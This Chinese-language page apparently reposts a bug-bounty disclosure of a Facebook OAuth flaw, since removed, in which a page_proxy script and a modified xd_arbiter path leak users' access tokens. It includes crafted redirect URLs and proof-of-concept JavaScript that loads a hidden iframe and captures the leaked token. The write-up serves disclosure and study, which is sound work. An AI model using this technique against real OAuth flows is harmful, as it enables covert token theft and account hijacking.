主页 > 网络知识 > Facebook OAuth漏洞导致的Facebook账户劫持

Facebook OAuth漏洞导致的Facebook账户劫持

 

Facebook OAuth漏洞导致的Facebook账户劫持

 

平时在用“Login with Facebook”功能进行跳转登录时,因为其用到了多个URL重定向跳转,所以总会给我有一种不安全的感觉。但是,要想发现Facebook漏洞,并非易事,需要莫大的功夫和精力,更别说涉及登录的Facebook OAuth了,这更是难上加难。然而,我就发现了Facebook OAuth这么一个漏洞,获得了Facebook官方$55,000的奖励。

就是这么一个漏洞,存在了多年,而且,从google搜索和StackOverflow社区中都能找到相关漏洞线索,这些线索存在的时间几乎是9到10年之久。

漏洞概况

“Login with Facebook”功能以OAuth 2.0协议处理facebook.com和其它第三方网站之间的用户token,只有当正确身份的用户token被验证通过,用户才能从第三方网站跳转到facebook.com网站。攻击者利用该漏洞可以劫持受害者用户的OAuth身份验证机制,窃取受害者用户的access token,最终实现对受害者Facebook账户的劫持。另外,攻击者可以通过控制架设恶意站点,针对大多数APP应用(如Instagram, Oculus, Netflix, Tinder, Spotify等),窃取用户access_token,获取相关交互服务和第三方网站的访问控制权。

POC

Facebook的SDK中,存在一个名为”/connect/ping”的登录服务端,它负责为用户生成一个user_access令牌,并把链接跳转指向一个Facebook应用通用的白名单集“XD_Arbiter”下。该服务端在Facebook的SDK加载过程中,会首先创建一个方便跨域通信的代理框架(proxy iframe),该代理框架会通过 postMessage() API发回用户token、相关代码和一些未授权或未知的请求状态。整个”/connect/ping”的工作流程如下:

https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252F

该服务端部署了参数污染(parameter pollution)防护、同源验证、重定向跳转限制等各种安全措施,我使用了好多绕过手段也没发现可利用的端倪。刚开始,完全是毫无头绪。

后来,我发现可以把其中的 “xd_arbiter.php?v=42”修改成为“xd_arbiter/?v=42”,而且,还可以通过添加目录或参数的形式实现目录遍历。总算有点线索了,但是离窃取用户token还有十万八千里。为此,我们需要想办法让代理框架为我们所用,可以让它在“location.hash”或跨域postMessage() API通信接口中实现一些信息劫持。非常幸运,我在Facebook的“page_proxy”中发现了这么一个天然的代理框架 (目前已被删除):

https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js

该“page_proxy”中包含了我们想要的代码实现:

var frameName = window.location.href.split("#")[1];

window.parent.postMessage(frameName,"*");

上述代码位于一个“EventListener”属性之下,如果请求条件判断失效,代码会以postMessage()方式抛出针对任意域的“frameName” 消息,表明配置或代码错误。

Exploiting Proxy

要想利用这个 “page_proxy”,也并非难事,只需要把page_proxy和xd_arbiter结合起来。三者关系如下:

https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js

https://staticxx.facebook.com/connect/xd_arbiter.php?version=42

https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42

在该漏洞构造流程中,以下两点较为重要:

HTTP请求中缺失“X-Frame-Options”头;

“window.parent”方法会把用户交互处理抵消,所以不必担心window.open或其它的按钮跳框弹出事件。

为了针对上述Oauth的攻击,在包含进Facebook认证流的同时,需要改装重写我们自己的Custom_SDK.js,如下:

var app_id = '124024574287414',

app_domain = '';

var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;

var i = document.createElement('iframe');

i.setAttribute('id', 'i');

i.setAttribute('style', 'display:none;');

i.setAttribute('src', exploit_url);

document.body.appendChild(i);

window.addEventListener('OAuth', function(FB) {

alert(FB.data.name);

}, !1);

然后,我把该JS脚本部署在我自己的网站,通过测试,利用它能隐蔽窃取受害用户对任意域的access_token,最终可导致潜在的受害用户账户劫持。

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!